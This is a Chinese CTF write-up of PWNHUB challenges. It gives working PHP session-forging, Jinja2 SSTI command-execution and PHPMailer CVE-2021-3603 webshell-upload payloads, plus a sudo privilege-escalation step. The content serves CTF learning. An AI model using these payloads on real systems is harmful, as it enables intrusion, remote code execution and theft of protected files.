PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)

PWNHUB 五月公开赛+内部赛 writeup

  • 【5月公开赛】MyNotes
  • 【5月公开赛】TemplatePlay
  • 【胖哈勃内部赛|五月,你好!】MockingMail
  • 【胖哈勃内部赛|五月,你好!】MISC-Unicode

【5月公开赛】MyNotes

这一题就是[HarekazeCTF2019]Easy Notes
PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第1张图片
给了源码,admin界面会给flag,逻辑是:


if (is_admin()) {
echo "Welcome, Admin, this is your secret: " . file_get_contents('/flag') . "";
} else {
echo "You are not an admin :(";
}

is_admin()函数在lib.php中定义

function is_admin() {
  if (!isset($_SESSION['admin'])) {
    return false;
  }
  return $_SESSION['admin'] === true;
}

而在add_note()函数中可以看到note也是存在session中$_SESSION['notes'] = $notes;,而$notes内容可控,所以可以利用note来伪造admin session

function add_note($title, $body) {
  $notes = get_notes();
  array_push($notes, [
    'title' => $title,
    'body' => $body,
    'id' => hash('sha256', microtime())
  ]);
  $_SESSION['notes'] = $notes;
}

关于php session:

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第2张图片

admin|b:1;pass|s:6:"aaaaaa";

1 . session文件名要求:以 sess_ 开头,且只含有 a-zA-Z0-9-

2 . Ubuntu默认安装的PHP中session.serialize_handler默认设置为php,而这种引擎特点是即可使用|作为键值隔离符。利用|即可将序列化字符串拼接

再看export.php,只对$type === 'tar'校验,没有校验zip,所以可以利用$archive->open,写一个新的文件,装作是admin的session,修改Cookie就可以读到这个session啦


require_once('init.php');

if (!is_logged_in()) {
  redirect('/?page=home');
}

$notes = get_notes();

if (!isset($_GET['type']) || empty($_GET['type'])) {
  $type = 'zip';
} else {
  $type = $_GET['type'];
}

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;	
//get_user()所以我们注册的用户名应该是sess_
$filename = str_replace('..', '', $filename); // avoid path traversal	
//php的session文件名不能有点,所以利用str_replace把$filename中拼接的.去掉,$type=.
$path = TEMP_DIR . '/' . $filename;

if ($type === 'tar') {
  $archive = new PharData($path);
  $archive->startBuffering();
} else {
  // use zip as default
  $archive = new ZipArchive();
  $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
  //只对`$type === 'tar'`校验,没有校验zip,所以可以利用`$archive->open`,写一个新的文件
}

for ($index = 0; $index < count($notes); $index++) {
  $note = $notes[$index];
  $title = $note['title'];
  $title = preg_replace('/[^!-~]/', '-', $title);
  $title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
  //对note的title做过滤,构造时候要注意
  $archive->addFromString("{$index}_{$title}.json", json_encode($note));
}

if ($type === 'tar') {
  $archive->stopBuffering();
} else {
  $archive->close();
}

header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
//header会返回文件名
header('Content-Type: application/zip');
readfile($path);

最后整理一下思路:

  1. 注册用户名为sess_的用户
  2. 写个note title为
|N;admin|b:1;

|N;是为了前面的数据闭合,N代表null类型

序列化变量类型
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

  1. export.php处构造type=.,得到session文件名
/export.php?type=.

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第3张图片

  1. 修改Cookie,伪造admin session
Cookie: PHPSESSID=-44e1cf569379b3f0

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第4张图片

【5月公开赛】TemplatePlay

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第5张图片
看源码,找到个js

/static/js/user-agent.js

(function (){
    if (navigator.userAgent="Admin/5.0"){
        window.location.href="http://"+window.location.host+"/view_template?string=1"
    }
})

需要伪造agent发包,然后ssti瞎fuzz一通,发现只有{{self.__dict__}}有回显

/view_template?string={{self.__dict__}}

{'_TemplateReference__context': <Context {'url_for': <function url_for at 0x7fe3397dd050>, 'g': <flask.g of 'app'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'request': <Request 'http://121.40.89.206:5000/view_template?string=%7B%7Bself.__dict__%7D%7D' [GET]>, 'lipsum': <function generate_lorem_ipsum at 0x7fe33a2c1b50>, 'range': <type 'xrange'>, 'session': <NullSession {}>, 'dict': <type 'dict'>, 'get_flashed_messages': <function get_flashed_messages at 0x7fe3397dd1d0>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>} of None>}

看到'cycler': 类,想到一个构造payload的方法

/view_template?string={{self.__dict__._TemplateReference__context.cycler.__init__.__globals__.os.popen('whoami').read()}}

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第6张图片

【胖哈勃内部赛|五月,你好!】MockingMail

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第7张图片
给了源码,显然是PHPMailer主场,版本"phpmailer/phpmailer": "6.4.1",有个CVE-2021-3603 PHP Mailer 最新代码执行漏洞,漏洞函数是validateAddress(),本体中两个参数都可控

\vendor\phpmailer\phpmailer\src\PHPMailer.php中定义该函数

public static function validateAddress($address, $patternselect = null)
{
    if (null === $patternselect) {
        $patternselect = static::$validator;
    }
    if (is_callable($patternselect)) {
        return call_user_func($patternselect, $address);	//命令执行点
    }
    ……

index.php中引用:


error_reporting(0);
session_start();
//Import PHPMailer 6.4.1 classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

//Load Composer's autoloader
require 'vendor/autoload.php';

//Instantiation and passing `true` enables exceptions
$mail = new PHPMailer(true);
$mail->validateAddress($address = $_GET['addr'], $patternselect = $_GET['select']);
………………

题目也给了info.php,disable_functions很多,可能没法直接命令执行(后来发现可以assert写马)
PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第8张图片
index.php看到最后,就会发现定义了一个没引用过的函数,这就是我们的利用点( validateAddress()执行smtp_logs函数

function smtp_logs($log_name){    // Record your SMTP information
    $log_path = 'logs/'.md5("Mockingjay".$_SERVER['REMOTE_ADDR']);
    @mkdir($log_path);
    chdir($log_path);
    file_put_contents($log_path.'/index.php', '');	//我觉得好奇怪,为啥这句没执行……

    if(isset($log_name)){
        $log_name = isset($log_name) ? $log_name : date('-Y-m-d');
        $smtp_log = $_SESSION['smtpserver']."\n".$_SESSION['smtpuser']."\n".$_SESSION['smtppass'];	
        //这个SESSION是在settings.php中设置的,也都是可控的
        $smtp_log = htmlspecialchars($smtp_log, ENT_HTML401 | ENT_QUOTES);	//html实体化$smtp_log
        $blacklists = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml");
    
        if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), $blacklists, true)) {
        //pathinfo检测后缀,不过可以绕过
            file_put_contents($log_name, $smtp_log);
            $filepath = $log_path.'/'.$log_name;	//$log_name也可以写目录穿越,不过没啥用
            echo $filepath;
        }
    }
}

如果我们想上传自己的小马,需要绕过两个函数,htmlspecialchars和pathinfo,参考这篇www.anquanke.com/post/id/253383

利用 1.php/. 绕过对后缀名的检测,然后利用php伪协议绕过htmlspecialchars

payload:

POST /settings.php
……
smtpserver=1.com&smtpuser=PD9waHAgZXZhbCgkX1BPU1RbJ2NkJ10pOz8%2b&smtppass=123

POST /index.php?addr=php://filter/write=convert.base64-decode/resource=3222.php/.&select=smtp_logs
……

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第9张图片
PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第10张图片
然后利用蚁剑插件绕过disable_functions,命令执行,根目录有hint提示flag在root下,需要提权,参考:linux 提权-sudo提权PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第11张图片

(www-data:/var/tmp) $ cat /etc/sudoers
root    ALL=(ALL:ALL) ALL
www-data    ALL=(ALL) NOPASSWD: /usr/bin/base64

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第12张图片

sudo /usr/bin/base64 /root/flag
//我开始不知道一定要加sudo……而且我以为/usr/bin/base64 /root/*也是可以的

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第13张图片

【胖哈勃内部赛|五月,你好!】MISC-Unicode

请添加图片描述好菜,比赛时候没出来,想不到是四个一组统计频率,是我二进制的敏感性不够吗( 01是74096个字符,74096/(各个键值的和)=4

第一步是零宽,这次我学到vi可以看出来有零宽

PWNHUB 五月公开赛+内部赛 writeup(【5月公开赛】MyNotes TemplatePlay 【胖哈勃内部赛|五月,你好】MockingMail)_第14张图片

[('5', 1170), ('2', 1181), ('6', 1245), ('1', 1109), ('7', 1235), ('A', 1093), ('0', 1181), ('4', 1102), ('B', 1117), ('D', 1142), ('C', 1188), ('8', 1132), ('9', 1101), ('E', 1166), ('3', 1206), ('F', 1156)]

一个python

import re
string1 = "10011010111100111110101010100011001100001011111010110011101110110011001011101001100100001001100110110100101100111011100110111110101110111011111110110011101100110110101111001110010110111011101111……"
st1 = re.findall(r'\w{4}', string1)
dict1 ={}

for i in st1:
    if i not in dict1.keys():
        dict1[i]=1
    else:
        dict1[i]+=1

print(dict1)

#{'1001': 1170, '1010': 1181, '1111': 1245, '0011': 1109, '1110': 1235, '0000': 1093, '1011': 1181, '0010': 1102, '0100': 1117, '0110': 1142, '1100': 1188, '0101': 1132, '0001': 1101, '1000': 1166, '1101': 1206, '0111': 1156}
#试一下数量对的上

然后利用零宽得到的信息进行换表,得到一个rar,然后Unicode Bidirectional Algorithm BIDI算法得到文本

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

你可能感兴趣的:(ctf,#,web,php)